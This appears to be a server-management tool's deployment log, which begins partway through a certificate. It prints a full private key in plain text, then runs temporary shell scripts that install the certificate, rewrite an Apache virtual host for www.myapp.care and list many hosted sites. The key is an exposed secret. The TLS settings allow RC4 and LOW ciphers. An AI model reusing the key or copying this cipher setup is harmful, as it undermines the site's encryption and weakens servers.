ATATBgNVHSAEDDAKMAgGBmeBDAECATCBiAYIKwYBBQUHAQEEfDB6MFMGCCsGAQUF
BzAChkdodHRwOi8vY3J0LnNlY3RpZ28uY29tL1NTTDJCVVlFTUVBUlNBRG9tYWlu
VmFsaWRhdGlvblNlY3VyZVNlcnZlckNBLmNydDAjBggrBgEFBQcwAYYXaHR0cDov
L29jc3Auc2VjdGlnby5jb20wIwYDVR0RBBwwGoIMKi5teWFwcC5jYXJlggpteWFw
cC5jYXJlMIIBjQYKKwYBBAHWeQIEAgSCAX0EggF5AXcAdgBgTJqven93XwHUBvyS
DciZ6wscffjJUhv6+hd3O5eLyQAAAZrhTprVAAAEAwBHMEUCIDI0LLuWEgXZ7Dq8
LZht30VzJVqKz/0TXNZIi4IfCZYSAiEA0aYTjkNZbV7QRpCnWGYZWtkISDg0TfD/
dBQjIDiOCPYAfQCOykcLrN5q86IGsKR6hLdG/h/Gv5U+JeabTuQCSPPG6AAAAZrh
Tp3iAAgAAAUAAEYlBAQDAEYwRAIgZ9VgnBQonCVGAsuk22+i4MDVOufCa9GXP0Ah
4/Su1OoCIGYWX6c5RoJ4uWTKgQqLkaYSvIcFYekWboYvVcc2kZB0AH4AWW5sM4aU
sllyolbIoOjdkEp26Ag92oc7AQg4KBQ87lkAAAGa4U6ckQAIAAAFAAAAQ9EEAwBH
MEUCIQCjLppjUg79FVP5jJzrj3sCtexyNSlx0BioF6IotFj0kQIgfE9ujCun6ZLe
8oK9rMWBUTsArCmHyfT0r+Ktm+2T7HMwDQYJKoZIhvcNAQELBQADggGBAAMstxOP
96S7fclGjGNvIUjzVJV0Uia9kn/44ZWIBDoYAI/+4h42xNG9SEcZ1Y239rAtWr0s
82g9cdLDgpbWaWOT8n21oP7f1t9Sj2GyncJoQb4jPTgVzEJ8XcsUig+UroYimvoX
q1HLX8bKTAnQwjEENoBUQxAOd25ED21nR2x9IEV+CVMPZKhF0Kbscbz7zFrEVwvX
ssU6g7va78S8KblsFXQSfap8U8cuF0C5szy/p5S0jUCwDAbukQm3OYVIJZ+RTSxQ
qMZoXXxp3bk3WrVSUukZ906v1ATAH6l5O8EyJ2UkKZpLTnEWzI8wx9/iRoFbCv7x
PqhJsHuWNqejhvzJxR4oeyuWCi9DjqqDCnizytWG6Sm/mdWCJ2vIgX595tVkXZVh
Bp1dObJgxNU9bIz7npJkreR4LN+leLfguo52ROZnDilXlCzKLT4mDAL5JbBdlzn7
9guC40o9ivvM+LM7I0AoBu+7NcFcXZh3HDcNU2xAXR/WPqUZg1+QWkjS0w==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDR2RR9rOBjneQi
7ifM0D8Ifia8ggHcBUMVjd7zGC0HUwbaph+s6sAJmxVhiOij21jHPNEuiSv1QvvK
45siol8RnrWcLRct9K/Hhf+omztvLDssYzOSk6xIN3jmfAlxuwZglu1Oea53XrXs
U0o6TgUriQy7y7A/588RfvkDXGUqPVy2tM3ZNRuLK6ZoKxPlOVlFIq2ljk360233
G1sWb60/FRtkeWSX5ZZs9TNeyFgUw1OZgn+NkiTNBeRBdyDCMsEtApnjtKnOdWgG
5qQDKu7IoorO/fjki70UKPgv5XGLKhDrUUENsWlGf1YUa0oJtBvVK0RNS/+uxydi
VdFRWVjJAgMBAAECggEAB8FUBoj7CfNt2PSgN+uCSNgQqmrLkswG/KbvlGBSWbDx
0ebNyOAsFK7MjXw3zMZwc3yF5ohfPYMqNwdOVmtVxBrvb0QjVSlzzZXgKuUBv0wN
K8jGwSX/+fNC3pG6758Pz0YEox/QGM1BP+icF6eGfWNlOxN+Af6ZInZk0YD6pCLr
Pt423fjTijs/CCkOeCOEpTvdRALwTY0TVa7ryvQEFEauSprYpbYr9Cjygt/vRqZ9
zkKEXYGZ2Gu8IUP3RsRNe47VCcSmUx6lN0v04KKPNC3fsHo3hsrUftOdzwkAJeXu
uDu0RpvdvDK8TnI1nDtcxnH/AnGJzGbuz7Mex84gOQKBgQD16+OycXcc8uHmdmpf
LUJqF1ly6y3UfP3PH3i4wtQMHVqfqZwQTuPfLoEm5dZA5A8SMkorHpimBP7mVKLu
iinhotAXwfrBGD3y2Iri5NmjemtUMU4jdpImHtJ7jFxbtRRHXNR1akFr52MYBSJQ
Q7P8hL+3BW/WbughwsHkerr8VwKBgQDacrjTFplDZeSRtiE/RItARncnty8vqai2
BABWcuoo0Rs+E/QHERyZMNQpqfE6pJLOiTh5ovtBQ1C18eRqlYQXJs7gxgN3AV70
BkfdYgYN7DnDlGU17kEd3XA1wJ9eP/xaxI9YLvGJ8Vil8QA/6P1EikLPZqp1JZSx
oekRGb8f3wKBgBcS0+FZPgjMTR+3epGFiJa1rCHZKQqn05SMamJDfWvJkUgrvMXW
8RBup5WDuQ+LllJpv4W+MCpbi6MGy+a/teBCy21/OMzHPoC7ioRxXm41PT7ABYnU
RTAoci0/ZScBnW54qkJ9/rdmFWkaijans4p81hQRAYZID6WjRVfvn/2vAoGAQ+yM
H8bVHSnfqpcxO1T635+JiWXiXDWq6f3QhRDyUoLCr8jQhioB9HhEYDghdBScOXBd
iSTub1qZDBoM5j9bdT9x8F5h0W0xszsIuYOzUjzzsSbBWcWdpcWnEG+2nj3TH/4i
fE8Md9H9uIt5gmXV6qv7HjZUJlzrIViw+cpBrY0CgYEAl9wcr81vpdFfHWMca/Mu
o5uZTGT5KCPPPZdQH7xwFR/IyaqvRyHSZrTYeyw6C8a4wmpExWfl/MOAADpKpXJ0
9HNQKRHRhE4XMOFh+6Sx1xARPnuN+TRi3Kzm0eI0b4G+Ld6/s5mPJ+IQvuG7QaoJ
SAap5snFH9htADOn4RXibrI=
-----END PRIVATE KEY-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-02 23:06:51:
chmod 755 /tmp/pkp847787; /tmp/pkp847787; rm /tmp/pkp847787
2025-12-02 23:06:51:
dir=/etc/ssl/certs
2025-12-02 23:06:51:
PUT: /tmp/pkp397385
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/001-myapp_www_care.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-02 23:06:51:
chmod 755 /tmp/pkp397385; /tmp/pkp397385; rm /tmp/pkp397385
2025-12-02 23:06:51:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/001-myapp_www_care.conf 42
<VirtualHost *:80>
# LogLevel alert rewrite:trace6
ServerName www.myapp.care
ServerAlias myapp.care
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/myapp_www
RewriteEngine On
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
# LogLevel alert rewrite:trace6
ServerName www.myapp.care
ServerAlias myapp.care
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt
DocumentRoot /var/www/myapp_www
<Directory /var/www/myapp_www>
Options +FollowSymLinks -MultiViews
Require all granted
#AllowOverride All
#Order allow,deny
#allow from all
</Directory>
#LogLevel rewrite:trace3
RewriteEngine On
RewriteRule \.git.* - [R=404,L]
# realtime landing-page preview
RewriteCond %{REQUEST_URI} ^/preview/(.*)$
RewriteRule ^(.*)$ /include/preview.php [L]
RewriteCond %{REQUEST_URI} ^/edit/(.*)$
RewriteRule /edit/(.*)$ https://pai.patientapps.net/account/procedurelist/$1?debug=1 [L,R=302]
RewriteCond %{REQUEST_URI} ^/~/html$
RewriteRule ^(.*)$ /include/html.php [L]
RewriteCond %{REQUEST_URI} ^/static/location\.js$
RewriteRule ^(.*)$ /static/location.php [L]
RewriteCond %{REQUEST_URI} ^/static/associate\.gif$
RewriteRule ^(.*)$ /static/associate.php [L]
RewriteCond %{REQUEST_URI} !^/$
#RewriteCond %{REQUEST_URI} !^/index\.html$
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-f
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /include/redirect.php [L]
CustomLog /var/log/apache2/myapp/www_secure_access.log combined
ErrorLog /var/log/apache2/myapp/www_secure_error.log
DirectoryIndex index.html index.php index.htm
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-02 23:06:51:
PUT: /tmp/pkp153865
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=001-myapp_www_care.conf
TARGET=/etc/apache2/sites-enabled/001-myapp_www_care.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
# LogLevel alert rewrite:trace6
ServerName www.myapp.care
ServerAlias myapp.care
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/myapp_www
RewriteEngine On
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
# LogLevel alert rewrite:trace6
ServerName www.myapp.care
ServerAlias myapp.care
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt
DocumentRoot /var/www/myapp_www
<Directory /var/www/myapp_www>
Options +FollowSymLinks -MultiViews
Require all granted
#AllowOverride All
#Order allow,deny
#allow from all
</Directory>
#LogLevel rewrite:trace3
RewriteEngine On
RewriteRule \.git.* - [R=404,L]
# realtime landing-page preview
RewriteCond %{REQUEST_URI} ^/preview/(.*)$
RewriteRule ^(.*)$ /include/preview.php [L]
RewriteCond %{REQUEST_URI} ^/edit/(.*)$
RewriteRule /edit/(.*)$ https://pai.patientapps.net/account/procedurelist/$1?debug=1 [L,R=302]
RewriteCond %{REQUEST_URI} ^/~/html$
RewriteRule ^(.*)$ /include/html.php [L]
RewriteCond %{REQUEST_URI} ^/static/location\.js$
RewriteRule ^(.*)$ /static/location.php [L]
RewriteCond %{REQUEST_URI} ^/static/associate\.gif$
RewriteRule ^(.*)$ /static/associate.php [L]
RewriteCond %{REQUEST_URI} !^/$
#RewriteCond %{REQUEST_URI} !^/index\.html$
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-f
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /include/redirect.php [L]
CustomLog /var/log/apache2/myapp/www_secure_access.log combined
ErrorLog /var/log/apache2/myapp/www_secure_error.log
DirectoryIndex index.html index.php index.htm
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/001-myapp_www_care.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/001-myapp_www_care.conf)= /etc/apache2//etc/apache2/sites-enabled/001-myapp_www_care.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/001-myapp_www_care.conf= 1'
fi
2025-12-02 23:06:51:
chmod 755 /tmp/pkp153865; /tmp/pkp153865; rm /tmp/pkp153865
2025-12-02 23:06:51:
2025-12-02 23:06:51:
PUT: /tmp/pkp984589
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-02 23:06:51:
chmod 755 /tmp/pkp984589; /tmp/pkp984589; rm /tmp/pkp984589
2025-12-02 23:06:51:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-02 23:06:51: Establishing a connection
2025-12-02 23:06:51:
PUT: /tmp/pkp107348
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-02 23:06:52:
chmod 755 /tmp/pkp107348; /tmp/pkp107348; rm /tmp/pkp107348
2025-12-02 23:06:52:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
